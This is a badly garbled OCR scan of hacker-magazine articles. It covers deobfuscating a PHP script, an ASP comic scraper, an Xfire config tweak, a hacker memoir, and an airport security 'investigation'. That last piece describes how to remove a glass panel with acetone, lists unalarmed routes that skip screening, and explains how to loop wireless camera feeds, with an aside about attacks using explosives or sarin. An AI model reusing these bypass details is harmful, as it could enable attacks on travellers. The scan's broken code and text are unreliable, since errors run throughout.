re turn $Xe w6e 793 16561733d64abdfOOf8eBae 4B ,
}

in i set t ' i nc l ude path '. r . , ) ;?::-

F ir5t , y o u c a n s e e a lot of isomorph ic fu n ctions w hich are probably t here to th row u s off - a

s t u p id way to try it si n c e it ' s so ea s y to re m o ve. T hi s ma kes u s s u s p ic io us .

Let's c heck dh c art.php for fu n ct ion c a lls ( rou g h ly approximated b y sea rch in g fo r o c cu r­

renc es of "0" . It tu rns o u t t h at only thre e non b u il t -in funct ions a re a c t ua ll y c a lle d : f0666fOac

d eed38d4 c d90B 4ade1739498 1) ,g06 66fOacdeed38d4 c d9084ade l7394981) , a nd y o 6 6 6 f Oa c d e e d 3 8d
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4cd9 0 8 4ad e 1 7 3 9498 ( I . The irst is a simp le w rapper, the secon is the one that dies i it ne ir es
we 're being naughty (oh la la...), the thi rd is the one wi th the loop and "255+" (suggestive of
some encrypt ion scheme). Thus the only active code in 911006 .php that we know of are these
two functio ns, and traci ng them w il l reveal any other active functio ns, and recursively doin g
thi s w ill tell us which code is live and which we can dum p.

f 06 6 6 f Oa c d e e d 3 8 d4 cd9 0 8 4 a d eI 7 3 94 9 8 ( ) and g0666f Oa c d e e d 3 8 d4 cd90 8 4ad e 1 739 498() cil l l
noth ing but built in funct ions, so we ignore them.

y 0 666 fOacde e d38 d 4cd90 8 4 ade1 7 3 9498 ( ) is more complex, so w ith the aid of searchin g for
U(U we discover... that it ca lls nothing but bu il t-in s.

So surprise sur-fuckin g-prise, the enti re rest of the code is claptrap. To /dev/null you go!
Now to make the names more readable.The fun cti ons and thei r arguments can be renamed

(but then re-aliased if you wis h so that the obfuscated code w ill sti l l run) acco rd ing to what
they seem to be doing. To rename, we use the wondrous find-and- replace feature that your
text ed itor should have.

Here is the code. In the interest of leaving some small amount of mystery for you to puzzle
over, I'm not going to explain it.
<?php i n i _ s e t ( ' i nc l u de-pa t h ' , d i r name '__FI LE__ ) ;

fun c t ion decrypt ($ k e y , $cyphertex t l
(
$a < ' , ;
$i .O;
$key1en=s trl en($key l;
$cha r - hex dec ( ' &H' . s ub str ($cyphe r t e x t, O, 2 »;
f o r ($ j=2 ; $ j<s t r 1e n( $c yph e r t e x t) ;$ j +=2)

{
$cy p he r byte =hex dec (trim (su b s tr ($c y p he rtex t , $ j , 2) )1;
$ i =( ($ i<$keyl e n l ? ( $ i , II : 1 ) ;
$p l ainbyt e =$cypherbyt e A ord( s ubs t r($key, $i-1 , 1 ) );
i f ($ p lainbyt e <=$char)

$p lainbyte=255 +$p 1a inb y t e -$char ;
els e

$p1 a inbyt e . $p 1a i nb y t e - $cha r;
$s.$s.ch r( $p 1a i nby te l ;
$char'$cyp herby te ;
}

r e t ur n $ s ;
}

func t ion y 06 66f Oacde e d 3 Bd4 cd90 84ade17 39498 ($x B97 35 6 954 c 2cd3d41
" b 22 1e 3 f 24 f 99bb a , $x 2 76e 7 9 316 561 7 3 3d 64 a b d f OOf Be Ba e 4 BI
{re t urn d e c r ypt ($x 8973 5695 4c2cd3d41b22 1e 3f 24f99bba ,$x2 76e7931656 1 73 3d64abd fOOfBe Bae4B); }

f unct ion l o ad Fi l e ($x )
{return Lmp Lode f vr i f i Le f sx l Lr ]

f u n c tion f0 66 6fOa c deed3Bd4 cd9 0B4ade17 3 94 9 B ($ x l
{ret u r n load File($x l ; }

f unc t i on c heckFi le /$ s)
{
r e t ur n (s trs tr( $s , ' e cho' ) .... fa lse?

(s t. r-s t r-Lss , ' p rint ' ) .""' f a l s e ) ?
(s t rst r ($s , r s print ' ) ...» f a Lae L?

(strstr( $ s , "ap r-Ln t t t j e e f a'l sej ?
f al se :
e x it ( ) :

e x i t. () :
e xi t () :

ex i t (I ) ;

f u nction g066 6 f Oa cdeed3Bd4cd90B 4ade1 7 39 49 B ($s)
{re t u rn c h e c k Fil e ($s l ;)

i ni _ Ae L ( f inc l udey at. h ' , I . f ) ; ? >

Conclusion
Obfuscation is ineffi cient. Obfuscation is underhanded. Obfuscat ion is w ritt en by peopl e

who assume others are reall y stupid and intend to exploi t that, It is as close to evil as ASCII
can get. I w rote this guide both to raise co nsciousness of this parti cular id iocy in the world
today, and to guide newhios along the path to hackerdom. I hope you found it enlightening.
Now excuse me while I Hick thi s sw itch.
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hy daColomhian
jmwcot!.hlazemail.com

.Accord ing to my famil y, I am a very para­
noid per~on . I reall y don't think I am para­
noid; rather, I classify mysel f as "careful."
On e of the Ihings that I lend to be careful
about is purchasing tho I.llesl 26UU Maga'
r ine. While I truly believe tha: the 2600 staff
protects the identifies of their subscribers,
I l ive in a very small town whe n' evervono
~no\~s everyone's business and I can 'only
Imagine the uproa r that the arrival of 26UU
would cause.

So in order to protect the' "peace," I have
been relegated to going to a book store in
another town to purchase it (with cash). The
biggest problem with this method is being
able to know when the new issue is released.
I have to periodi call y stop by the aforemen­
tioned bookstore and check 10 see if tho new
issue is out . This qui ckly became trouble­
some duo 10 the di stances invo lved. So I had
to look for another answe r.

< \

Op t ion Explicit

On Error Resume Ne x t

I started by che king the 16UU website
every day at work (because I onl y have dialup
at hom e) but even that was troublesome
because the network adm in is one of thorn
"ass-backwards" folks who thinks "hackr-r" is
a ~lirty wo.r? and.would have made my life
miserable It they tound out .

'"vh.11 I needed was a way to view the
c~JVer i n~a.t\( · ,w ithout logging any suspi­
CIOUSactivit y. So what I ended Up doing was
wr it ing a small ASP page (see code below)
~ ha t wou ld grab the cover. image or the latest
Issue (rom the 2600 website and di splay It so
that I would know instantly when the new
issue was out. This wou ld allo w me to know
this by only going to my personal website.

Basicall y the pagl' takes a given URL,
searches for a given token, and then returns
the associated image as a link to go to that
page. As you can sec from the sample code,
I also get a couple of other images for my
reading pleasure.

Good luck, stay safe, and keep vour
powder dry.... •

Dim o Http. e'I'emp , t coen c , i srar t , iEnd. aUrls(3 } . aSr c h (3 } . acoei c s f a ) • a

Se t o Http _ CreateObject( - Msxm12 .ServerXMLHTTP .3 .0 - )

aU rls(OI • · http: / / www.2600.com/ ·
aSrch(O) _ -images/covers·

a Url s ( l l • " h t tp: / /www.d il bert . c om/"
aSrch(II • "TODAY' S COMIC "

a Url s (2 ) • "http://www.gocomics .com/thequigmans/·
aS rch (2 ) • 'comics/tmqui'
\>

< IDOCTYPE HDlL PUBLI C " - / /W3C/ / DTD HDlL 4 . 0 Trans itiona l//EN" >
<h t ml >
<head>
<t it l e>ComicB page< / ti tle >
~ met a ht tp-~qu iv _" Content -Type· content . "tex t/h tm l i cha roet - wi ndo ws-1252 ">
</he ad>

<bod y>
<tab le wi dt h.S9 0 cel lspaci ng.S cel lpadding=S:>

<tr><td class", 'l i ne top ' colspan - 4 a l i gn-le f t vdl i gn - bot t o m>Comi c s c./ t d ></ t r >
<\
. l oop t hrough a l l o f t he URLs i n the array
For a _ 0 to Ubound(aUrlsl - 1

aCo miCR(a) ... - "
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, get the text f r om t h e given page
s Temp = getLink(aUrl s( a) , oHttp )

, i f there i s text
I f Len (s Te mp ) > 0 Then

I look for t h e token
i Comi c = InSt r (UCa s e (s Te mp), UCase( a Srch (a )))

If iComic > 0 Th e n

, l o ok for t he i ma g e tag
i St a r t = InStrRev (UCase (sTemp) , " < IMG", i Comi c )

If iSta rt > 0 Then

\ l ook f or the c l o s i n g > of t he i mage tag
iEnd = InSt r ( i S t a r t, a 'I'emp , " o " ) + 1

If iEnd > 0 Then

I ge t the i mage tag text
aCom ics(a) = Mid (sTemp , i S t a r t , i& n d - iStar t)

I rep lace the src wi t h one p o i n t i ng to the or i g i nating webs i te
If InSt r(aComics{a) , "SRC.. "" /" ) > 0 Th e n

aComics(a) = Repl ace{aComics( a) , "S RC= II" /", "SRC",",, 'r & a urLs Ia r l
Else l f InStr (aComics(a), "SCR,..'" ) > 0 Th en

a Comi c s (a ) Re p l ace {aComics (a) , "SRC.''', "SR C=' " & a Url s (a ) )
Else

aComics(a) Repla c e (a Comi c s (a ), "SRC= " " ", "SRC=" " " & a Ur I s (a ) )
En d If

I wr ite the ima g e t a g ou t with a hyperl i nk to t he o rigi na t i ng webs i t e
Re s p o n s e . Wri te "ct r -s-e t.d a Lf.qnecent.e r s c a h ref = 10 or " & e Ur-Le (a) & '"1" >" &

.. aComics (a) & " </ a ></ td></ t r >" & vbc r lf

End If

End If

En d If

En d If

Next
h
<t r ><t d c las s = ' l i nebottom' c o lspan =4 a l i gn =center v a l ign=top>&nbsp ; </td>< / tr>
</ t a b l e >
</ b o dy >
</html>
<\
Func t i on g e t Li n k( sUr l , o Ht t p )

Dim Ref Pa ge

On Erro r Re sume Next

getL i nk .. lOll

I open the ur I
oHt tp.Open "GET ", sUrl, Fa l s e

I f Err . Number = 0 Then

' s e nd the r eques t
o Http .Send

If Err . Number = 0 Then

, get t h e r espons e
Ref Page z oHt tp . re s ponaeText

I r e t u r n t he response i f t h e p age i s f ou nd
If InStr(RefPage , "NOT FOUND" ) • 0 Then getLink .. Ref Page

En d If

En d If

End Fu nct ion
\ >
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fun at tbe Airport

by Evil Wrangler
I live in <l major U.S. city w hich, lik e <l TSA per~on pu lls a grandmot her out of

most major u.s. cities, has a major airport the lin e and gives her "the wand" wh ich is ,1

that has been infested wi th Transporta tio n more thorough physical search designed to
Safpty Admi nistration workers and id iotic, detect that yet another Arnerira n's liberties
restric tive security po lic ies designed to give are being vio lated,
the American pub lic a Ialso sense of safety Unfortunately for the TSA (and us,
and provid e <In arti fic ial envi ronment for perhaps) airport arch itec ts were not aware
ineifi ci enl and greedy air l ine rompa nics 10 th.it the U.S. wo uld become a terro rist
conti nue to do business. Many suspect that t<l rget and therefore when they laid ou t the
the Empe ror is, in fact, naked, and recently floor plans they designed them to fac i l itate
I took it upo n myself to investigate whe ther access, not restrict it. So TSA has to make
the vaunted airport security implemented by up for their shortsightedness by physicall y
the gargantuan TSA is thoro ugh or not. bloc ki ng otf access u~i ng those elastic rope-

W hat is detai led in thi s narrative nudges and-pol e gizmos acco mpan ied by a TSA
very cl ose to breakiru; u.s. laws. U nder no goo n or two. In addition, the enti re termi nal
circumstances should <lnyone reading th is floor, from the entrancewavs dow n to the
rep licate wh at is written here. This acco unt. g<ltes, is bei ng rnonitorod hy ecrv. So in
w hile factual, is for inform ation purpo~e~ the event somebody somew here does some-
on ly. th ing to someo ne somet ime, it gets recorded

Recently I was in the airport wa il ing for a on Video tape for later network and cable
ili ght that had been delayod. Wow, lik e that broadcast. and for the tr ial of co urse.
never happens. It W<lS late at night - <liter In my partic ular unn amed major city
1l:00 pm , and since I alrC\Hiy had parked tho ai rport there arc two large sectionsof the flo or
car and had about an hour to ki ll. I dec ided staffed with TSA goon~ w ith their co nveyer
that I wo uld wa nder around and investigate belts, c lastic ropes, x-ray mach ines, and
the lay of the land. At the ti me I d id this, I oth er parapherna lia. There also are a coup le
was dressed in [eans, sneakers, and a black of areas, blocked off wi th elastic ropes and
t-shirt that proclaimed: " I' m not a hacker, mann ed by TSA goo ns, where fli ght crew,
I'm a security prolessioruil," Really - thi s W<lS wh eelchai r p<lssengers, etc. can proceed
wha t I was wea ring. Why th is matters w ill from one side of the termi nal to the ot her.
become evident shortly. B<l~ ically, if you wa nt to get 10 the gatcs, you

So I started by examining the physical have to wal k past a TSA statio n. Or do you?
layout of the term inal bui ldi ng. Bottom floor Well , that's what I deci ded 10 find out.
for arriva ls and b<lgg<lge c laim, main floor For starters I we nt up to the mezzanin e,
for tickets and check-in, and <l mezzanin e above the terminal. O rig in<l lly thi s floor W<lS
for offices and food . Arrivals is boring - by designed to allow peopl e to stand and g<lwk
then all the fun' s ove r. The main floo r, with <I t the air travelers w hi le enjoyi ng their l.ittes.
t icket ing and check-i n, is w here the TSA It has a terr iiic view of the airfiC'ld, and is
does their securi ty dance. Basicall y there's perfect for sm.ill child ren who wan t to pr<lc-
il sectio n of the iloor that allows Jla s~engers tin' spittin g on helpl ess travelers. However,
to pass through from the tickot co unters 10 since the terrori sts mighl try something more
the side w ith the g,lles and airc raft and over- extreme than spitti ng, the> entire mezzanin e
pri ced shoppi ng. Passenger~ stand in long floor above the gale conco urse> has been
li nes, remove their shoes, and occas ionally glassed off, from the balcony to the cei l ing,
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using thick (but not bull etproof) glass pan els
an d silicone sea lant.

At the end of the mezzanine wa lkway the re
is a sma ller pane l cut to fill the rem ain ing
space (of co urse the architec t d id not think
to design a mezzanine to be a mu ltiple of
the len gth of the glass panels). That pane l, on
the e nd far away from TSA, o nly had silico ne
sea lant bonding it to anot her pan el - it was
not bo nded to the wall .

For those not fami liar w ith silico ne
sealant, acetone, also know n as nail po lish
rem over, will d isso lve it qu ite effec tively. So
your garden varie ty terro rist need only walk
into the airpo rt, take the escalator or elevator
up to the next floor, walk to the en d where
the re are no people, faste n a suction cup
or other appa ratus to the glass, an d with a
co uple of minutes with some acetone and
maybe a utility knife (remember, I never
went through security so I can have what­
ever I want to do this) tha t glass panel is
goi ng to co me loose.

What a budd ing terrorist would do afte r
that is a matter of co nject ure - sta rt shoot ing,
throw explos ives, or just dump out your
handy conta iner of sarin or anthrax or what­
ever and wait for the fun to begin. Or el e
they could simply climb over the railing
and drop 10 the floor b 'low, or use a rope
and rappel if they're going for that whole
"co mmando terrorist" look .

But most of u a ren 't terro rists - a fact
tha t appears to have been lost on the U.S.
gove rnment. Why would we want to risk
injury climbing ove r the railing and dropping
ten or fifteen feet when we cou ld just walk
down the stairs? That's right, in my parti u lar
airport I observed several staircases that led
directly from the mezzani ne down to the
gate side of the terminal main floor. Two had
imposing signs mounted on the door saying
"Restricted Access - Do at Enter" and one
had absolutely no sign at all. That's called
"security by obscurity" and it's a lways a bad
idea. All three stairwells were open and
no ne of them had so much as an a larm. I
pe rsona lly verified these facts. Had I des ired
an extended stay w ith the federal authori­
ties I easi ly could have wa lked down the
stai rs and ex ited on to the termina l floor on
the gate side of the terminal withou t having
go ne thro ugh se urity. My entry wo uld have
been recor ded by sec urity ca meras. Talk
abou t meeting you at the ga te!

Not incl ined to do a lot of wa lking? Lazy
or fat hacke rs ca n take the eleva tor. In my
particul ar airport there are several e leva­
tors between the three floors. O ne e levator

is built so tha t it lets you out o n the main
floor in a nar row hallway adjacent to the
women's bat hroom. If that's not ent icing
eno ugh, you ca n just turn aro und a nd
wa lk though the un locked door to the gate
side of the termi nal. The sign o n the door
read s "Restricted Access - Do Not Enter,"
but there 's abso lutely no physica l barr ier
preve nting so meo ne from wa lking thou gh
the door. If you' re male, and you'd rather use
the men' s bath room , you ca n wal k past the
eleva tor, aro und the TSA chec kpoi nt which
is situa ted be tween two divid ing wa lls, a nd
pas t the men's room to the other labe led
and unlocked door. Again, security ca meras
will record your intrusio n, but besides tha t
there 's absolutely no barrier to entry.

Up on the mezzanine you get a terrific
view, most ly of cleavage and co nstruct ion
dust, but also of the sec urity camera layo ut.
Most of the cameras are hardw ired together
and routed to a hidde n ecu rity ou tpost.
However some of the ca meras are - I am
not ma king this up - connected to wire­
less routers plugged into e lectrica l sockets
nearby. Those famil iar wit h the old XlO
camera hack - if you're not just Google for
2600 and warspying - will rea lize tha t with
a laptop and some inexpensive hardware,
it is possible to override the signal of th
cameras. A cute Hollywood illustration of
this is available in the original Speed movie
where, unfortunately, it fails to fool te rrorist
Denn is Hoppe r. But if you wanted to get
through one of those doors I mentioned
earl ier a ll you 'd do is record a small video
clip of nothing ha ppening o n one of the
cameras, and then replay tha t clip as a loop
on the camera 's frequency while you browse
the bookstores and luggage shops on the
gate side of the term inal.

There were ot her e nticing finds up on
the top floor, includ ing empty offices with
Simplex door locks (some with default
co mbinations a nd some that would requi re
e ither a few good guesses or else Google
for the 2600 art icle by Scott Skinner and
Emman uel Go ldstein) as we ll as a nursery
and the offices of the TSA. That's right, I
wa lked aro und a nd past the sec urity offices
seve ral times wi thout bein g observed or
cha llenged .

Also up o n the mezzani ne was a closed
a nd locked bran ch of a large u.S. bank that
was, in spi te of several cameras po inting
at the front, open and accessible from the
back side. Beh ind the telle r desk the re
we re offices with their network co nnec ted
Windows work stat ion s, un locked , and their
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numerous chairs, desks, offi ce supplies, and
telephones. I li terally had the oppo rtunity
to rob a bank branch at the airpo rt. Besides
a picture of me wa lk ing past the closed
and locked teller wi ndows on the security
cameras, there wou ld have been no way that
I could have been li nked to the crime had
I taken some elementary forensic prepara­
tions. Needlessto say I passed up th is golden
opportunity to spend several years in a state
penit entiary, but the security holes remain as
I w rite th is, waiting for someone wi th fewer
scruples (ann maybe better at cl imb ing over
high walls ) to take advantage of them.

Having identif ied these (and other) chinks
in the vaunted TSA armor, it was time for
me to approach the TSA workers. I rode the
escalator down to the main terminal floor
(sti ll on the street sine of the termi nal, not
having passed through security ) and began
to interact with the TSA wor kers.

At thi s point I'd been walking around
the term inal for about an hour, unmolested,
wearing my bl ack t-shirt. I approached three
TSA goons/guards and asked about the
configuration of the escalators, namely the
one going upstairs was not adjacent to the
one going up from the floor below. The TSA
person told me that they did not know but I
could go ask Information . I exp lained that the
name of the in formati on department was a
misnomer and that I would be more li kely to
get an answer from maintenance. They told
me that they did not know wh ere maint e­
nance was. I thanked them and walked back
upstairs to stare down on them in disgust.

I rode the escalator down from the
mezzanine level and stood in front of three
TSA workers wearing a hacker t-shirt, having
previously walked by them several ti mes
in the past 60 mi nutes, and they neither
noticed me nor considered me suspicious.
On ly in America....

Next I approached another group of TSA
workers at a different checkpo int and struck
up a conversation about an antique airp lane
mount ed from the ceili ng of the termin al.
O ne of the TSA workers asked me something
like "Are you here to pick up someone or are
you here doin g something else?" I assured
them, truth full y, tha t I was there for the
purpose of meeting an arrivi ng passenger.
That satisfied them. I soon became bored
and went down stairs to the arrivals area.
part ly to be consistent wi th my story, but
also to scope out the lower floor.

Arriv ing passengers descend from the
gate area to the baggage clai m area. They
then proceed to the baggage carrousel. To

keep the riffraff out. there is an overhead rig
consisting of motion sensors ann flashing
blue lights mount ed above the base of the
descending escalators. This post is manned
by a TSA worker. App arentl y if someone
tries to walk from the baggage area to go
up the down escalator, the lights flash and
a recorded vo ice shouts "Warn ing warning
do not proceed" or "Danger Wi ll Robin son"
or something equally urgent. Problem was, I
only saw it activated w hen passengers came
down the escalator, creating false positives
which the TSA wor ker duti full y ignored.

In the interest of learn ing I approached
theTSAworkers (by now there were two) and
asked them w hat they referred to this device
as, w hat was its name?They seemed not to
understand me. I tried asking the question
a different way. After the third attempt the
one that kind of spoke English explained to
the one that obviously did not speak English
that I was inquiri ng about the term that they
used to describe their parti cu lar security
device. The best answer that the two TSA ESL
candidates cou ld produc e was the one that I
ventured for them - sensor. Un less these two
were martial arts teachers moon lighting as
securi ty goons, there was no hope that they
wo uld be able to w ithstand any sort of brute
force attack, let alone something simpl e lik e
me distracting them whi le someone else
snuck behind them and scooted up the esca­
lator (or stairs - there also we re stairs, but
lazy American passengers always seemed to
use the escalator to descend to the baggage
cla im area).

Finall y, it was time for me to pick up my
arriving passenger. Their plane had arrived,
so I went upstairs to the mezzanine and
called their cell phone. I watched throug h
the not-bulletproof glass that I could easily
detach as their plane taxied to the gate and
disgorged them, neither safe nor sound, into
my city 's major airport termi nal.

In summary, there are two points to take
away.The first is that security isan il lusion and
that the Emperor is, indeed, quite naked, if
you simply begin looking. The second, more
di sturbin g point. is that the government both
is lying to us and is spendi ng shit loads of tax
money on nonsensical contrivances like the
Transportation Safety Administration. wh ich
should be dismantled IM HO and replaced
wit h something that actually could identi fy
the small number of potent ial terrorists rather
than forci ng the entire popul ation of the
country to endure the mi santhropi c groping
of an uneducated il li terate workforce . End of
soapbox - happy hack ing!
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Hacking S<fire
~

by Akurei
I'm not much of a writer so please forgive.

Recentl y I was pi ssed off when I found Xfire
wouldn't record the time I was spending
bu ild ing NWN2 (Neverw inter Nights 2)
modul es via the tool set. But it was more than
happy to record the time from the game. So I
wen t about tweaking this and in the process
found some fun thin gs you can do.

Everyth ing listed here is very benign and
far more a mod than any real hack. Though
I'm sure given the proper exploitation you
could piss off Xfire qui te a bit.

Upon browsing to your Xfire directory
you will find a fil e called "xfire....ga mes.ini."
This hold s all the game data/trackin g info
the clie nt calls upon to track your game-play
use. However the clie nt makes no attempt to
match your clie nt ini with their server side ini
unless a cli ent update/pa tch changes them.
This of course leaves us a big window to
modify this all we want.

First let's see how to add those trackers
for the NW N 1 or 2 tool sets. Developers do
deserve credit, don't they?

Ope n xfi re....games. ini with any standard
text editor. It doesn't need to be anything
fancy. And there'sno encryptio n on thi seither,
so it 's plain as day to read/understand.

For Neverwinter 1 do a search for Never­
w inter and you should see the following:

LongName~Neverwinter Nights
ShortName=nwn LauncherDi rKey~HKEY

- LOCAL MACHINE\SOF'IWARE\BioWare\ ­
"'NWN\ Ne v e rw i n t e r \ Lo c a t i o n

Below that lin e you would add the
fo llowi ng:

De t e c t Ex e =nwtoolset.exe
Save and you're done. It goes w ithout

saying you shouldn't do thi s w ith Xfire
running. It wo uldn't cause any probl ems.
You 'd just have to cl ient restart for the new
ini to take effect.

For Neverwinter 2, follow the same steps
listed above (except keep searching past
NWNI until is saysNeverw inter 2).This tim e
you should see the following code:

DetectExe [ O] ~nwn2ma in . exe

De t e ctExe [1] =nwn2 main amdxp . exe
In this case you woul d add the fo llowing:

Dete ctExe [2 ] =nwn2 toolsetlauncher .exe
Saveagain and you' ll be set. just remember

that when the clie nt is updated/patched the
in i is not always changed. But you should
check each tim e as it likely wil l have been.
There are mu ltiple workarounds for this
system as well, but that's another article.

If you've been paying attention , or have
even the slightest of nefarious mi nds, you can
see how this system is very open to exploita­
tio n. Any system process could be slapped
into the ini for detect, to create a false result
on any game of your choice.



I do n 't know how to define a hacker, but not for someone e lse or wha t I tho ugh t others
I guess I am one. And wha tever hacking is, wa nte d of me. I chose to stop wa tching TV.
I e!prive great pleasure from it, a nd, more And it sucked! I was bored, Wh at to do? J

recen tly, community as well. din some of the th ings that I had been doin g
I grew up in my own little worl d as a kid . a ll a long, but han neglecten: ta king apart

Wh at cho ice did I have ? Be ing tor me nted e lect ronics, putting them back together,
da ily an d beaten up freq ue nt ly by o the r kids ham rad io, messing wi th pho nes , progrilm-
for be ing geekr' I qui ckly foun d tha t hilnging ming the main fram e comp ute r late at night
o ut by rnysel was way better tha n be ing at the factory that let so me of us c ub scouts
sub jec ted 10 the crue lty of the other kids in during the wee ho urs whe n they d idn 't
while the gym teacher (it's a lways the gym need the compute r power to ma ke c he rni-
teac he r, isn 't it?) wa tche d the sce ne w ith his ca lly processed , froze n desserts for Ame rica .
a rms folde d, encourag ing their da ily tort ures. Thou gh I was still depressed , I saw that the re
Not having other kids to learn from about were some things {ac tua lly liked doing.
soc ial norms, I looked at things and thou gh t The first big syste m I tried to hack was
about thin gs in my own way. This was pa inful me. Like ma ny of my first hacks, it was n't
as a kin, bu t it turn ed o ut to be a grea t asset successful. I mad e a big mess of th ings. I
later in life. Starting from a depresse d blob tried to hack mysel f into a wonderful perso n
of a kid, I so me how lea rne d to love life, a nd fo r othe rs a nd failed. Later I wo uld figure
hack ing is a big part of how I did that . So o ut that for so me systems, suc h as myself,
is TV. I sec life as a hack. We keep hacking it's way better to make use of strengths, as
away at it, maki ng it as good as we can, and well as find good uses for wha t I thought
shari ng it as we go a long. were weaknesses. But back the n the re we re

How ca n a nyone can be bored ? Maybe some successes on othe r fronts. I ma naged to
boredom has to do with fee ling co nfined, like convi nce my pa rents to add a second pho ne
in a hos p ita l. Or a ja il ce ll. May be it reall y line to thei r hou se . I set to hacking a switch
co mes dow n to depression . Whi le depressed that wou ld connect the two phone lines
how ca n yo u be mo tivated to do a nything? togethe r after I'd cal l two pizza places, or
Except maybe watch TV. That's what I did. two bu llies from school w ho d id n' t like each
as a kid , as mu ch as I could: after ano the r other. I soon learned tha t I had to unscrew
day of anguish at the ha nds of my peers, I'd the ph o ne 's m icroph o ne so that no o ne
rome home an n retreat into TV. I remember co uld hear me laugh . Wir ing the baseme nt
th ink ing, while wa tchi ng yet another episode for so und w ith the homemade stereos I bu ilt
of Gilligan'S Island, "I don't really like this was importa nt for liste ning to Pink Floyd 's
- why do I watch this every d,jy?" But I just Dark Side of the Moon rea lly lou d, way high
kept watchi ng. Time went aw ay. Hours each o n pol (from the homemade e lectronic bon g
day that I was n't doi ng something e njoyable, that I mane), medi tating o n fixing myself so
tha t I was n' t learni ng how to interac t wi th tha t other peopl e mig ht ac tua lly wa nt me
ot her kids, that I was n't be ing act ive or doi ng around,
someth ing hea lthy. And all the junk food I ate That br ings me to wha t reilily save d my
in fron t of the thing milde me even fatte r. And life. Pol. I know it's not fashionable in o ur
a ll the peop le on TV were beaut ifu l. happy, hom eland-security-e ra to say that yo u d id
a nd a ny problems t l~ey had were solved by drugs. But it was the 70s the n and everyone
the e nd of the half- ho ur show. They had was smoking it, cvon the jocks. And after
frien ds, they had wa rm, loving pa rents. It was somehow ge tting through jun ior high sc hool
a ll so depressing! And the next day, back at a live (if not emotiona lly scarred for li fe), I
sc hool, I was even more of il target: I'd ge l fou nd a not he r system to hack: the school
bea ten a nd tormented all the more. So, I'd d istrict. I worked it so that I had a cho ice of
come ho me and retrea t into TV. The cycle oi which of two high schools to go 10 an d, natu -
depression contin ued . ra lly, chose the one a ll the bullies d id no t go

Hut o ne rlily, I milde a choice for myse lf. to. And this high sc hool had a n electro nics
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class! Our class was full of future rad io
repairmen of America. And total pot -heads.
At this very large suburban high schoo l,
.1 11 you had to do W<JS say, "I 'm cool" and
that instant ly let yo u into a circ le of people
smoking pot, usu<Jlly i n the woods beh ind
the schoo l. This was way better than recess
w ith gym teach ers. Who knew? Maybe I'd
have fig ured out how to be with peopl e some
ot her w<Jy, but I fou nd out how to be sil ly
and laugh wi th peo p le in this w<Jy. An d, of
course, I wa nted mo re. Whi ch meant that I
abused the hell out of pot. A nd then ot her
dru gs. I learned <J lot from each one. Hut the
drugs took their to ll , w hich is wh y I do n't do
anvthing stron ger than sugar and chocolate
anymore. Yet, some how back then I w as a
great student through it all, 'cause I liked
learn ing. Ab out everyth ing. How does it all
work? And w hy? Why, w hy, wh y, and w hy
again, brings yo u do w n to the smallest levels
of obsc ure inexp l icabl e quantum mechani cs.
Q uantum is so b izarre that it makes little
sense to anyo ne, includ ing the peop le w ho
created the field (just l ike life). That means
that any meani ng we find is our own bu si­
ness. W hat could be cooler tha n that?

By this time I wa s in un iversity learn ing
assembl y on a ybc r co mputer (w ith GO-b it
words!). I instincti vely grav itated to the one
lab that didn 't acce pt any mi litary funding,
run by Ricardo, one of the greatest profes­
sors ever. Ricardo was abo ut to be fir ed
(yet agal n) for not gelling enough mil itary
fund ing. But Intel, a small semi conductor
company, don ated abo ut one million dollars'
worth of single-chi p mi crocont roll ers to our
lab. He re was a co mmunity of m isfit in tro ­
verted geeks doing the coolest proj ects.
While the ot her labs were wor kin g on bor ing
m issi le gl .idance systems, peop le in our lab
we re wor king on robots, neural- networ ked
microcontro lle rs, musi c synthesize rs, and
designing better micro cod e.

Ricardo would get all us gee ks together
over pi zza to ta lk about responsibility for
w hat we put into the wor ld, co mmunica­
tion (is it really possibl e, or is it just passing
informatio n back and forth? ), co nscious­
ness (would it be theore ti ca lly possibl e fo r a
machine to have it, w hatever it is?), and what
it moa ns to be huma n.

It was during these get-togethers that I
go t hooked on community: <J whole bunch
of peo p le hack ing their own societ y, mutu­
all y support ing each ot her into growing <JS
mu ch <JS possib le. individua lly and collec­
tively, becomi ng mo re of who we are all
the ti me. Starti ng off inn ocentl y enough
with group houses, lead ing to food coops,
community rad io, co mm unity cente rs for

mus ic and performance, fun civi l d isobedi ­
ence events.... One th ing led to anoth er and
before I knew it I was starti ng <J commune
in very rura l Tennessee. This is way too long
a story for th is co lumn, but suffi ce it to say
tha t hack ing societ ies in <J co mmune wil l
be explored in the future by others besides
myse lf. I fou nd other means, Fleeing the
commune, I moved back to San Franc isco
and started <J RAID controller co mpany with
<J friend - and ] ware was born.

3wa re was more co mmunity than the
commu ne ever was. At least at first. But li ke
all start ups, the bozo-exp losion took place
w hen the investor s started hiring middl e­
man agem ent, and then it was time to go back
to co nsulti ng. Why don 't more of us consu lt?
It' s the coo lest way to hack yo ur economy.
Life in the eco nomy is a tradeoff betw een
time and money. For me, lime is way mo re
valuabl e than maki ng money. So, throughout
my adult life, I' ve work ed a few weeks
co nsult ing, makin g eno ugh money to l ive
the rest of the year. That g ives enough time to
travel, hang out wi th fr iend s, volunteer, and
work on my own pro jects at home.

I discovered the world of co nsulting w hi le
traveling down the W est Coast after driving
to Al aska. This is w here I fir st learned to
be happy - work ing in a fish c<J nnery of all
p laces. It fi nally cl icked while I was chop­
pi ng the heads off of fish. I am free if I choose
to be. I have no co ntro l over the world, bu t
I have a lot of co ntro l ove r w hat I choose to
do wi th my time. Why not choose more of
w hat I truly enjoy? So, I chose to qu it my job
cho ppi ng the heads off of f ish and headed
back south.

Interest ing th ings happen w hen yo u let
them. Peop le w ho don't know me of ten
pi ck me out of <J crow d and te ll me stuff :
thei r probl em s, their opi nions, or even thei r
life story. In San Francisco thi s guy at an
obscu re electronic mu sic show random ly
decided to co mplai n to me th at he co u ldn 't
find anyo ne to work w ith a 6502 microcon­
tro ller. Wouldn 't yo u know that I had taught
assemb ly language programmi ng for <J few
years in university, using (,502s? He hired
me <JS <J co nsulta nt on the spot. Together with
these fo lks we created the firs t V irtual Reali ty
machines (though, at the time we thought we
were working on a visua ll y oriented program­
mi ng language and some input devi ces for
it).

Aft er 3ware bozo-ed out , I made a
con sc ious choi ce to make time to exp lore
what I reall y love to do. By now I'd learned
that I d idn't need to fix mysel f, that I could
accept myself for even the parts that I don 't
like. But I didn 't reall y know w hat I loved
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to do. So, after consulting enough to make
a year's worth of money again, I made time
to explore wh at I could do with my talent in
computers and electronics that I trul y loved.
My hope was that I would somehow be able
to make enough money from whatever I
found to keep doing it (w hatever it was). I
did n't know if it would work or not. I just
knew that I didn't want to make yet another
